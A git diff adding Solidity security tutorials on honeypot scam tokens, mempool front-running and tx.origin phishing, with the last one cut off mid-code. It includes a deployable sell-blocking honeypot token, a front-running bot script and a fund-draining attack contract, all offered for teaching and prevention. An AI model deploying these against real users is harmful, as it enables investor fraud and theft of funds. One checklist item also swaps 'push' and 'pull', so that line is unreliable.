Here are some areas that require special attention: + +1. Failure of external contract function calls (e.g., `call`) should not result in the blocking of important functionality. For example, removing the `require(success, "Refund Fail!");` statement in the vulnerable contract allows the refund process to continue even if a single address fails. +2. Contracts should not unexpectedly self-destruct. +3. Contracts should not enter infinite loops. +4. Parameters for `require` and `assert` should be set correctly. +5. When refunding, allow users to claim funds from the contract (push) instead of sending funds to users in batch (pull). +6. Ensure that callback functions do not interfere with the normal operation of the contract. +7. Ensure that the main business of the contract can still function properly even when participants (e.g., `owner`) are absent. + +## Summary + +In this lesson, we introduced the denial of service vulnerability in smart contracts, which caused the Akutar project to lose over 10,000 ETH. Many logic errors can lead to DoS attacks, so developers need to be extremely cautious when writing smart contracts. For example, refunds should be claimed by users individually instead of being sent in batch by the contract. diff --git a/S10_Honeypot_en/config.yml b/S10_Honeypot_en/config.yml new file mode 100644 index 000000000..e17ff3e82 --- /dev/null +++ b/S10_Honeypot_en/config.yml @@ -0,0 +1,12 @@ +id: s10-honeypot-pixiu +name: S10. Honeypot / Pixiu +summary: Identify honeypot and Pixiu token scams that trap victims by allowing buys but preventing sells. Learn to recognize malicious contract patterns and protect yourself from these traps. +level: 2 +tags: +- solidity +- security +- erc20 +- swap +steps: +- name: Honeypot / Pixiu + path: step1 diff --git a/S10_Honeypot_en/readme.md b/S10_Honeypot_en/readme.md new file mode 100644 index 000000000..81ab4a0b7 --- /dev/null +++ b/S10_Honeypot_en/readme.md @@ -0,0 +1,17 @@ +--- +title: S10. Honeypot / Pixiu +tags: + - solidity + - security + - erc20 + - swap +--- + +# WTF Solidity S10. Honeypot / Pixiu + +In this lesson, we will introduce the Pixiu contract and stay away from Pixiu tokens. + +> Note: In English, a "Pixiu" token is usually referred to as a "Honeypot" token. In the following sections, we will use the term "Pixiu" to refer to honeypot tokens. + + + diff --git a/S10_Honeypot_en/step1/Honeypot.sol b/S10_Honeypot_en/step1/Honeypot.sol new file mode 100644 index 000000000..28dd30a60 --- /dev/null +++ b/S10_Honeypot_en/step1/Honeypot.sol @@ -0,0 +1,49 @@ +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.21; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; + +// Simple Honeypot ERC20 token, can only be bought, not sold +contract HoneyPot is ERC20, Ownable { + address public pair; + // Constructor: Initialize token name and symbol + constructor() ERC20("HoneyPot", "Pi Xiu") { + address factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // goerli uniswap v2 factory + address tokenA = address(this); // Honeypot token address + address tokenB = 0xB4FBF271143F4FBf7B91A5ded31805e42b2208d6; // goerli WETH + (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); // Sort tokenA and tokenB in ascending order + bytes32 salt = keccak256(abi.encodePacked(token0, token1)); + // calculate pair address + pair = address(uint160(uint(keccak256(abi.encodePacked( + hex'ff', + factory, + salt, + hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' + ))))); + } + + /** + * Mint function, can only be called by the contract owner + */ + function mint(address to, uint amount) public onlyOwner { + _mint(to, amount); + } + + /** + * @dev See {ERC20-_beforeTokenTransfer}. + * Honeypot function: Only the contract owner can sell + */ + function _beforeTokenTransfer( + address from, + address to, + uint256 amount + ) internal virtual override { + super._beforeTokenTransfer(from, to, amount); + // Revert if the transfer target address is the LP contract + if(to == pair){ + require(from == owner(), "Can not Transfer"); + } + } +} \ No newline at end of file diff --git a/S10_Honeypot_en/step1/img/S10-1.png b/S10_Honeypot_en/step1/img/S10-1.png new file mode 100644 index 000000000..f78eae22a Binary files /dev/null and b/S10_Honeypot_en/step1/img/S10-1.png differ diff --git a/S10_Honeypot_en/step1/img/S10-2.png b/S10_Honeypot_en/step1/img/S10-2.png new file mode 100644 index 000000000..b85e24260 Binary files /dev/null and b/S10_Honeypot_en/step1/img/S10-2.png differ diff --git a/S10_Honeypot_en/step1/img/S10-3.png b/S10_Honeypot_en/step1/img/S10-3.png new file mode 100644 index 000000000..553d28ce6 Binary files /dev/null and b/S10_Honeypot_en/step1/img/S10-3.png differ diff --git a/S10_Honeypot_en/step1/img/S10-4.png b/S10_Honeypot_en/step1/img/S10-4.png new file mode 100644 index 000000000..a92584f40 Binary files /dev/null and b/S10_Honeypot_en/step1/img/S10-4.png differ diff --git a/S10_Honeypot_en/step1/img/S10-5.png b/S10_Honeypot_en/step1/img/S10-5.png new file mode 100644 index 000000000..556a31e2a Binary files /dev/null and b/S10_Honeypot_en/step1/img/S10-5.png differ diff --git a/S10_Honeypot_en/step1/img/S10-6.png b/S10_Honeypot_en/step1/img/S10-6.png new file mode 100644 index 000000000..07daf3882 Binary files /dev/null and b/S10_Honeypot_en/step1/img/S10-6.png differ diff --git a/S10_Honeypot_en/step1/img/S10-7.png b/S10_Honeypot_en/step1/img/S10-7.png new file mode 100644 index 000000000..a46a31b4a Binary files /dev/null and b/S10_Honeypot_en/step1/img/S10-7.png differ diff --git a/S10_Honeypot_en/step1/step1.md b/S10_Honeypot_en/step1/step1.md new file mode 100644 index 000000000..759c9d725 --- /dev/null +++ b/S10_Honeypot_en/step1/step1.md @@ -0,0 +1,133 @@ +--- +title: S10. Honeypot / Pixiu +tags: + - solidity + - security + - erc20 + - swap +--- + +# WTF Solidity S10. Honeypot / Pixiu + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy\_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will introduce the Pixiu contract and stay away from Pixiu tokens. + +> Note: In English, a "Pixiu" token is usually referred to as a "Honeypot" token. In the following sections, we will use the term "Pixiu" to refer to honeypot tokens. + +## Introduction to Pixiu + +[Pixiu](https://en.wikipedia.org/wiki/Pixiu) is a mythical creature in Chinese culture. In Web3, Pixiu has transformed into an unknown beast and become the nemesis of investors. The characteristics of a Pixiu scam are that investors can only buy tokens and the project owner is the only one who can sell. + +Typically, a Pixiu scam follows the following lifecycle: + +1. A malicious project owner deploys the Pixiu token contract. +2. They promote the Pixiu token to retail investors, and due to the inability to sell, the token price keeps rising. +3. The project owner performs a "rug pull" and runs away with the funds. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S10_Honeypot_en/step1/img/S10-1.png) + +Understanding the principles of the Pixiu contract is essential for identifying and avoiding being scammed, allowing you to become a resilient investor! + +## The Pixiu Contract + +Here, we introduce a simple ERC20 token contract called `Pixiu`. In this contract, only the contract owner can sell the tokens on Uniswap, while other addresses cannot. + +`Pixiu` has a state variable called `pair`, which records the address of the `Pixiu-ETH LP` pair on Uniswap. It mainly consists of three functions: + +1. Constructor: Initializes the token's name and symbol, and calculates the LP contract address based on the principles of Uniswap and `create2`. For more details, you can refer to [WTF Solidity 25: Create2](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/25_Create2_en/readme.md). This address will be used in the `_beforeTokenTransfer()` function. +2. `mint()`: A minting function that can only be called by the `owner` address to mint `Pixiu` tokens. +3. `_beforeTokenTransfer()`: A function called before an ERC20 token transfer. In this function, we restrict the transfer when the destination address `to` is the LP address, which represents selling by investors. The transaction will `revert` unless the caller is the `owner`. This is the core of the Pixiu contract. + +```solidity +// Simple Honeypot ERC20 token, can only be bought, not sold +contract HoneyPot is ERC20, Ownable { + address public pair; + // Constructor: Initialize token name and symbol + constructor() ERC20("HoneyPot", "Pi Xiu") { + address factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // goerli uniswap v2 factory + address tokenA = address(this); // Honeypot token address + address tokenB = 0xB4FBF271143F4FBf7B91A5ded31805e42b2208d6; // goerli WETH + (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); // Sort tokenA and tokenB in ascending order + bytes32 salt = keccak256(abi.encodePacked(token0, token1)); + // calculate pair address + pair = address(uint160(uint(keccak256(abi.encodePacked( + hex'ff', + factory, + salt, + hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' + ))))); + } + + /** + * Mint function, can only be called by the contract owner + */ + function mint(address to, uint amount) public onlyOwner { + _mint(to, amount); + } + + /** + * @dev See {ERC20-_beforeTokenTransfer}. + * Honeypot function: Only the contract owner can sell + */ + function _beforeTokenTransfer( + address from, + address to, + uint256 amount + ) internal virtual override { + super._beforeTokenTransfer(from, to, amount); + // Revert if the transfer target address is the LP contract + if(to == pair){ + require(from == owner(), "Can not Transfer"); + } + } +} +``` + +## Reproduce on `Remix` + +We will deploy the `Pixiu` contract on the `Goerli` testnet and demonstrate it on the `uniswap` exchange. + +1. Deploy the `Pixiu` contract. + ![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S10_Honeypot_en/step1/img/S10-2.png) + +2. Call the `mint()` function to mint `100000` Pixiu tokens for yourself. + ![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S10_Honeypot_en/step1/img/S10-3.png) + +3. Go to the [uniswap](https://app.uniswap.org/#/add/v2/ETH) exchange, create liquidity for Pixiu tokens (v2), and provide `10000` Pixiu tokens and `0.1` ETH. + ![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S10_Honeypot_en/step1/img/S10-4.png) + +4. Sell `100` Pixiu tokens, the operation is successful. + ![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S10_Honeypot_en/step1/img/S10-5.png) + +5. Switch to another account and buy Pixiu tokens with `0.01` ETH, the operation is successful. + ![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S10_Honeypot_en/step1/img/S10-6.png) + +6. When selling Pixiu tokens, the transaction cannot be executed. + ![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S10_Honeypot_en/step1/img/S10-7.png) + +## How to Prevent + +Pixiu tokens are the most common scam that retail investors encounter on the blockchain, and they come in various forms, making prevention very difficult. We have the following suggestions to reduce the risk of falling victim to Pixiu scams: + +1. Check if the contract is open source on a blockchain explorer (e.g., [etherscan](https://etherscan.io/)). If it is open source, analyze its code for Pixiu vulnerabilities. + +2. If you don't have programming skills, you can use Pixiu identification tools such as [Token Sniffer](https://tokensniffer.com/) and [Ave Check](https://ave.ai/check). If the score is low, it is likely to be a Pixiu token. + +3. Look for audit reports of the project. + +4. Carefully examine the project's official website and social media. + +5. Only invest in projects you understand and do thorough research (DYOR). + +## Conclusion + +In this lesson, we introduced the Pixiu contract and methods to prevent falling victim to Pixiu scams. Pixiu scams are a common experience for retail investors, and we all despise them. Additionally, there have been Pixiu NFTs recently, where malicious project owners modify the transfer or approval functions of ERC721 tokens, preventing ordinary investors from selling them. Understanding the principles of the Pixiu contract and how to prevent can significantly reduce the chances of encountering Pixiu scams, making your funds more secure. Keep learning and stay safe. diff --git a/S11_Frontrun_en/config.yml b/S11_Frontrun_en/config.yml new file mode 100644 index 000000000..06f1b99bb --- /dev/null +++ b/S11_Frontrun_en/config.yml @@ -0,0 +1,11 @@ +id: s11-front-running +name: S11. Front-running +summary: Understand front-running attacks where malicious actors exploit transaction ordering. Learn about MEV, sandwich attacks, and techniques to protect your contracts and users. +level: 2 +tags: +- solidity +- security +- erc721 +steps: +- name: Front-running + path: step1 diff --git a/S11_Frontrun_en/readme.md b/S11_Frontrun_en/readme.md new file mode 100644 index 000000000..5804c1510 --- /dev/null +++ b/S11_Frontrun_en/readme.md @@ -0,0 +1,14 @@ +--- +title: S11. Front-running +tags: + - solidity + - security + - erc721 +--- + +# WTF Solidity S11. Front-running + +In this lesson, we will introduce front-running in smart contracts. According to statistics, arbitrageurs on Ethereum have made $1.2 billion through sandwich attacks. + + + diff --git a/S11_Frontrun_en/step1/Frontrun.sol b/S11_Frontrun_en/step1/Frontrun.sol new file mode 100644 index 000000000..b6829b522 --- /dev/null +++ b/S11_Frontrun_en/step1/Frontrun.sol @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +// By 0xAA +// english translation by 22X +pragma solidity ^0.8.21; +import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; + +// We attempt to frontrun a Free mint transaction +contract FreeMint is ERC721 { + uint256 totalSupply; + + // Constructor, initializes the name and symbol of the NFT collection + constructor() ERC721("Free Mint NFT", "FreeMint"){} + + // Mint function + function mint() external { + _mint(msg.sender, totalSupply); // mint + totalSupply++; + } +} \ No newline at end of file diff --git a/S11_Frontrun_en/step1/frontrun.js b/S11_Frontrun_en/step1/frontrun.js new file mode 100644 index 000000000..71ebe673b --- /dev/null +++ b/S11_Frontrun_en/step1/frontrun.js @@ -0,0 +1,83 @@ +// english translation by 22X + +// provider.on("pending", listener) +import { ethers, utils } from "ethers"; + +// 1. Create provider +var url = "http://127.0.0.1:8545"; +const provider = new ethers.providers.WebSocketProvider(url); +let network = provider.getNetwork(); +network.then(res => + console.log( + `[${new Date().toLocaleTimeString()}] Connected to chain ID ${res.chainId}`, + ), +); + +// 2. Create interface object for decoding transaction details. +const iface = new utils.Interface(["function mint() external"]); + +// 3. Create wallet for sending frontrun transactions. +const privateKey = + "0x5de4111afa1a4b94908f83103eb1f1706367c2e68ca870fc3fb9a804cdab365a"; +const wallet = new ethers.Wallet(privateKey, provider); + +const main = async () => { + // 4. Listen for pending mint transactions, get transaction details, and decode them. + console.log("\n4. Listen for pending transactions, get txHash, and output transaction details."); + provider.on("pending", async txHash => { + if (txHash) { + // Get transaction details + let tx = await provider.getTransaction(txHash); + if (tx) { + // Filter pendingTx.data + if ( + tx.data.indexOf(iface.getSighash("mint")) !== -1 && + tx.from != wallet.address + ) { + // Print txHash + console.log( + `\n[${new Date().toLocaleTimeString()}] Listening to Pending transaction: ${txHash} \r`, + ); + + // Print decoded transaction details + let parsedTx = iface.parseTransaction(tx); + console.log("Decoded pending transaction details:"); + console.log(parsedTx); + // Decode input data + console.log("Raw transaction:"); + console.log(tx); + + // Build frontrun tx + const txFrontrun = { + to: tx.to, + value: tx.value, + maxPriorityFeePerGas: tx.maxPriorityFeePerGas * 1.2, + maxFeePerGas: tx.maxFeePerGas * 1.2, + gasLimit: tx.gasLimit * 2, + data: tx.data, + }; + // Send frontrun transaction + var txResponse = await wallet.sendTransaction(txFrontrun); + console.log(`Sending frontrun transaction`); + await txResponse.wait(); + console.log(`Frontrun transaction successful`); + } + } + } + }); + + provider._websocket.on("error", async () => { + console.log(`Unable to connect to ${ep.subdomain} retrying in 3s...`); + setTimeout(init, 3000); + }); + + provider._websocket.on("close", async code => { + console.log( + `Connection lost with code ${code}! Attempting reconnect in 3s...`, + ); + provider._websocket.terminate(); + setTimeout(init, 3000); + }); +}; + +main(); diff --git a/S11_Frontrun_en/step1/img/S11-1.png b/S11_Frontrun_en/step1/img/S11-1.png new file mode 100644 index 000000000..2fac0441c Binary files /dev/null and b/S11_Frontrun_en/step1/img/S11-1.png differ diff --git a/S11_Frontrun_en/step1/img/S11-2.png b/S11_Frontrun_en/step1/img/S11-2.png new file mode 100644 index 000000000..f0c4c2b93 Binary files /dev/null and b/S11_Frontrun_en/step1/img/S11-2.png differ diff --git a/S11_Frontrun_en/step1/img/S11-3.png b/S11_Frontrun_en/step1/img/S11-3.png new file mode 100644 index 000000000..a4e46633e Binary files /dev/null and b/S11_Frontrun_en/step1/img/S11-3.png differ diff --git a/S11_Frontrun_en/step1/img/S11-4.png b/S11_Frontrun_en/step1/img/S11-4.png new file mode 100644 index 000000000..8314df0f5 Binary files /dev/null and b/S11_Frontrun_en/step1/img/S11-4.png differ diff --git a/S11_Frontrun_en/step1/package.json b/S11_Frontrun_en/step1/package.json new file mode 100644 index 000000000..cdb1f7bdc --- /dev/null +++ b/S11_Frontrun_en/step1/package.json @@ -0,0 +1,15 @@ +{ + "name": "ethers_examples", + "version": "1.0.0", + "description": "Minimal Tutorial to Ethers.js", + "type": "module", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "author": "0xAA", + "license": "MIT", + "dependencies": { + "ethers": "^5.7.1", + "merkletreejs": "^0.2.32" + } +} diff --git a/S11_Frontrun_en/step1/step1.md b/S11_Frontrun_en/step1/step1.md new file mode 100644 index 000000000..df4c776b6 --- /dev/null +++ b/S11_Frontrun_en/step1/step1.md @@ -0,0 +1,179 @@ +--- +title: S11. Front-running +tags: + - solidity + - security + - erc721 +--- + +# WTF Solidity S11. Front-running + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will introduce front-running in smart contracts. According to statistics, arbitrageurs on Ethereum have made $1.2 billion through sandwich attacks. + +## Front-running + +### Traditional Front-running +Front-running originated in traditional financial markets as a purely profit-driven competition. In financial markets, information asymmetry gave rise to financial intermediaries who could profit by being the first to know certain industry information and react to it. These attacks primarily occurred in stock market trading and early domain name registrations. + +In September 2021, Nate Chastain, the product lead of the NFT marketplace OpenSea, was found to profit by front-running the purchase of NFTs that would be featured on the OpenSea homepage. He used insider information to gain an unfair information advantage, buying the NFTs before they were showcased on the homepage and then selling them after they appeared. However, someone discovered this illegal activity by matching the timestamp of the NFT transactions with the problematic NFTs promoted on the OpenSea homepage, and Nate was taken to court. + +Another example of traditional front-running is insider trading in tokens before they are listed on well-known exchanges like [Binance](https://www.wsj.com/articles/crypto-might-have-an-insider-trading-problem-11653084398?mod=hp_lista_pos4) or [Coinbase](https://www.protocol.com/fintech/coinbase-crypto-insider-trading). Traders with insider information buy in advance, and when the listing announcement is made, the token price significantly increases, allowing the front-runners to sell for a profit. + +### On-chain Front-running + +On-chain front-running refers to searchers or miners inserting their own transactions ahead of others by increasing gas or using other methods to capture value. In blockchain, miners can profit by packaging, excluding, or reordering transactions in the blocks they generate, and MEV is the measure of this profit. + +Before a user's transaction is included in the Ethereum blockchain by miners, most transactions gather in the Mempool, where miners look for high-fee transactions to prioritize for block inclusion and maximize their profits. Generally, transactions with higher gas prices are more likely to be included. Additionally, some MEV bots search for profitable transactions in the Mempool. For example, a swap transaction with a high slippage setting in a decentralized exchange may be subject to a sandwich attack: an arbitrageur inserts a buy order before the transaction and a sell order after, profiting from it. This effectively inflates the market price. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S11_Frontrun_en/step1/img/S11-1.png) + +## Front-running in Practice + +If you learn front-running, you can consider yourself an entry-level crypto scientist. Next, let's practice front-running a transaction for minting an NFT. The tools we will use are: +- `Foundry`'s `anvil` tool to set up a local test chain. Please install [foundry](https://book.getfoundry.sh/getting-started/installation) in advance. +- `Remix` for deploying and minting the NFT contract. +- `etherjs` script to listen to the Mempool and perform front-running. + +**1. Start the Foundry Local Test Chain:** After installing `foundry`, enter `anvil --chain-id 1234 -b 10` in the command line to set up a local test chain with a chain ID of 1234 and a block produced every 10 seconds. Once set up, it will display the addresses and private keys of some test accounts, each with 10000 ETH. You can use them for testing. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S11_Frontrun_en/step1/img/S11-2.png) + +**2. Connect Remix to the Test Chain:** Open the deployment page in Remix, open the `Environment` dropdown menu in the top left corner, and select `Foundry Provider` to connect Remix to the test chain. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S11_Frontrun_en/step1/img/S11-3.png) + +**3. Deploy the NFT Contract:** Deploy a simple freemint NFT contract on Remix. It has a `mint()` function for free NFT minting. + +```solidity +// SPDX-License-Identifier: MIT +// By 0xAA +// english translation by 22X +pragma solidity ^0.8.21; +import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; + +// We attempt to frontrun a Free mint transaction +contract FreeMint is ERC721 { + uint256 totalSupply; + + // Constructor, initializes the name and symbol of the NFT collection + constructor() ERC721("Free Mint NFT", "FreeMint"){} + + // Mint function + function mint() external { + _mint(msg.sender, totalSupply); // mint + totalSupply++; + } +} +``` + +**4. Deploy the ethers.js front-running script:** In simple terms, the `frontrun.js` script listens to pending transactions in the test chain's mempool, filters out transactions that call `mint()`, and then duplicates and increases the gas to front-run them. If you are not familiar with `ether.js`, you can read the [WTF Ethers](https://github.com/WTFAcademy/WTF-Ethers) tutorial. + +```js +// provider.on("pending", listener) +import { ethers, utils } from "ethers"; + +// 1. Create provider +var url = "http://127.0.0.1:8545"; +const provider = new ethers.providers.WebSocketProvider(url); +let network = provider.getNetwork(); +network.then(res => + console.log( + `[${new Date().toLocaleTimeString()}] Connected to chain ID ${res.chainId}`, + ), +); + +// 2. Create interface object for decoding transaction details. +const iface = new utils.Interface(["function mint() external"]); + +// 3. Create wallet for sending frontrun transactions. +const privateKey = + "0x5de4111afa1a4b94908f83103eb1f1706367c2e68ca870fc3fb9a804cdab365a"; +const wallet = new ethers.Wallet(privateKey, provider); + +const main = async () => { + // 4. Listen for pending mint transactions, get transaction details, and decode them. + console.log("\n4. Listen for pending transactions, get txHash, and output transaction details."); + provider.on("pending", async txHash => { + if (txHash) { + // Get transaction details + let tx = await provider.getTransaction(txHash); + if (tx) { + // Filter pendingTx.data + if ( + tx.data.indexOf(iface.getSighash("mint")) !== -1 && + tx.from != wallet.address + ) { + // Print txHash + console.log( + `\n[${new Date().toLocaleTimeString()}] Listening to Pending transaction: ${txHash} \r`, + ); + + // Print decoded transaction details + let parsedTx = iface.parseTransaction(tx); + console.log("Decoded pending transaction details:"); + console.log(parsedTx); + // Decode input data + console.log("Raw transaction:"); + console.log(tx); + + // Build frontrun tx + const txFrontrun = { + to: tx.to, + value: tx.value, + maxPriorityFeePerGas: tx.maxPriorityFeePerGas * 1.2, + maxFeePerGas: tx.maxFeePerGas * 1.2, + gasLimit: tx.gasLimit * 2, + data: tx.data, + }; + // Send frontrun transaction + var txResponse = await wallet.sendTransaction(txFrontrun); + console.log(`Sending frontrun transaction`); + await txResponse.wait(); + console.log(`Frontrun transaction successful`); + } + } + } + }); + + provider._websocket.on("error", async () => { + console.log(`Unable to connect to ${ep.subdomain} retrying in 3s...`); + setTimeout(init, 3000); + }); + + provider._websocket.on("close", async code => { + console.log( + `Connection lost with code ${code}! Attempting reconnect in 3s...`, + ); + provider._websocket.terminate(); + setTimeout(init, 3000); + }); +}; + +main(); +``` + +**5. Call the `mint()` function:** Call the `mint()` function of the Freemint contract on the deployment page of Remix to mint an NFT. + +**6. The script detects and frontruns the transaction:** We can see in the terminal that the `frontrun.js` script successfully detects the transaction and frontruns it. If you call the `ownerOf()` function of the NFT contract to check the owner of `tokenId` 0, and it matches the wallet address in the frontrun script, it proves that the frontrun was successful! +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S11_Frontrun_en/step1/img/S11-4.png) + +## How to Prevent + +Frontrunning is a common issue on Ethereum and other public blockchains. While we cannot eliminate it entirely, we can reduce the profitability of frontrunning by minimizing the importance of transaction order or time: + +- Use a commit-reveal scheme. +- Use dark pools, where user transactions bypass the public mempool and go directly to miners. Examples include Flashbots and TaiChi. + +## Summary + +In this lesson, we introduced frontrunning on Ethereum, also known as a frontrun. This attack pattern, originating from the traditional finance industry, is easier to execute in blockchain because all transaction information is public. We performed a frontrun on a specific transaction: frontrunning a transaction to mint an NFT. When similar transactions are needed, it is best to support hidden mempools or implement measures such as batch auctions to limit frontrunning. Frontrunning is a common issue on Ethereum and other public blockchains, and while we cannot eliminate it entirely, we can reduce the profitability of frontrunning by minimizing the importance of transaction order or time. diff --git a/S12_TxOrigin_en/config.yml b/S12_TxOrigin_en/config.yml new file mode 100644 index 000000000..be7c4107f --- /dev/null +++ b/S12_TxOrigin_en/config.yml @@ -0,0 +1,11 @@ +id: s12-tx-origin-phishing-attack +name: S12. tx.origin Phishing Attack +summary: Learn why using tx.origin for authentication is dangerous and how attackers exploit it for phishing. Understand the difference between tx.origin and msg.sender. +level: 2 +tags: +- solidity +- security +- tx.origin +steps: +- name: tx.origin Phishing Attack + path: step1 diff --git a/S12_TxOrigin_en/readme.md b/S12_TxOrigin_en/readme.md new file mode 100644 index 000000000..54c1c211c --- /dev/null +++ b/S12_TxOrigin_en/readme.md @@ -0,0 +1,14 @@ +--- +title: S12. tx.origin Phishing Attack +tags: + - solidity + - security + - tx.origin +--- + +# WTF Solidity S12. tx.origin Phishing Attack + +In this lesson, we will discuss the `tx.origin` phishing attack and prevention methods in smart contracts. + + + diff --git a/S12_TxOrigin_en/step1/PhishingWithTxOrigin.sol b/S12_TxOrigin_en/step1/PhishingWithTxOrigin.sol new file mode 100644 index 000000000..4af735145 --- /dev/null +++ b/S12_TxOrigin_en/step1/PhishingWithTxOrigin.sol @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.17; +contract Bank { + address public owner; // Records the owner of the contract + + // Assigns the value to the owner variable when the contract is created + constructor() payable { + owner = msg.sender; + } + + function transfer(address payable _to, uint _amount) public { + // Check the message origin !!! There may be phishing risks if the owner is induced to call this function! + require(tx.origin == owner, "Not owner"); + // Transfer ETH + (bool sent, ) = _to.call{value: _amount}(""); + require(sent, "Failed to send Ether"); + } +} + +contract Attack { + // Beneficiary address + address payable public hacker; + // Bank contract address + Bank bank; + + constructor(Bank _bank) { + // Forces the conversion of the address type _bank to the Bank type + bank = Bank(_bank); + // Assigns the beneficiary address to the deployer's address + hacker = payable(msg.sender); + } + + function attack() public { + // Induces the owner of the Bank contract to call, transferring all the balance to the hacker's address + bank.transfer(hacker, address(bank).balance); + } +} \ No newline at end of file diff --git a/S12_TxOrigin_en/step1/img/S12-2.jpg b/S12_TxOrigin_en/step1/img/S12-2.jpg new file mode 100644 index 000000000..78e666c44 Binary files /dev/null and b/S12_TxOrigin_en/step1/img/S12-2.jpg differ diff --git a/S12_TxOrigin_en/step1/img/S12-3.jpg b/S12_TxOrigin_en/step1/img/S12-3.jpg new file mode 100644 index 000000000..d5c3fb1e4 Binary files /dev/null and b/S12_TxOrigin_en/step1/img/S12-3.jpg differ diff --git a/S12_TxOrigin_en/step1/img/S12-4.jpg b/S12_TxOrigin_en/step1/img/S12-4.jpg new file mode 100644 index 000000000..10ed99333 Binary files /dev/null and b/S12_TxOrigin_en/step1/img/S12-4.jpg differ diff --git a/S12_TxOrigin_en/step1/img/S12_1.jpg b/S12_TxOrigin_en/step1/img/S12_1.jpg new file mode 100644 index 000000000..ee568e607 Binary files /dev/null and b/S12_TxOrigin_en/step1/img/S12_1.jpg differ diff --git a/S12_TxOrigin_en/step1/step1.md b/S12_TxOrigin_en/step1/step1.md new file mode 100644 index 000000000..66b93836a --- /dev/null +++ b/S12_TxOrigin_en/step1/step1.md @@ -0,0 +1,139 @@ +--- +title: S12. tx.origin Phishing Attack +tags: + - solidity + - security + - tx.origin +--- + +# WTF Solidity S12. tx.origin Phishing Attack + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy\_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will discuss the `tx.origin` phishing attack and prevention methods in smart contracts. + +## `tx.origin` Phishing Attack + +When I was in middle school, I loved playing games. However, the game developers implemented an anti-addiction system that only allowed players who were over 18 years old, as verified by their ID card number, to play without restrictions. So, what did I do? I used my parent's ID card number to bypass the system and successfully circumvented the anti-addiction measures. This example is similar to the `tx.origin` phishing attack. + +In Solidity, `tx.origin` is used to obtain the original address that initiated the transaction. It is similar to `msg.sender`. Let's differentiate between them with an example. + +If User A calls Contract B, and then Contract B calls Contract C, from the perspective of Contract C, `msg.sender` is Contract B, and `tx.origin` is User A. If you are not familiar with the `call` mechanism, you can read [WTF Solidity 22: Call](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/22_Call_en/readme.md). + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S12_TxOrigin_en/step1/img/S12_1.jpg) + +Therefore, if a bank contract uses `tx.origin` for identity authentication, a hacker can deploy an attack contract and then induce the owner of the bank contract to call it. Even if `msg.sender` is the address of the attack contract, `tx.origin` will be the address of the bank contract owner, allowing the transfer to succeed. + +## Vulnerable Contract Example + +### Bank Contract + +Let's take a look at the bank contract. It is very simple and includes an `owner` state variable to record the contract owner. It has a constructor and a `public` function: + +- Constructor: Assigns a value to the `owner` variable when the contract is created. +- `transfer()`: This function takes two parameters, `_to` and `_amount`. It first checks `tx.origin == owner` and then transfers `_amount` ETH to `_to`. **Note: This function is vulnerable to phishing attacks!** + +```solidity +contract Bank { + address public owner; // Records the owner of the contract + + // Assigns the value to the owner variable when the contract is created + constructor() payable { + owner = msg.sender; + } + + function transfer(address payable _to, uint _amount) public { + // Check the message origin !!! There may be phishing risks if the owner is induced to call this function! + require(tx.origin == 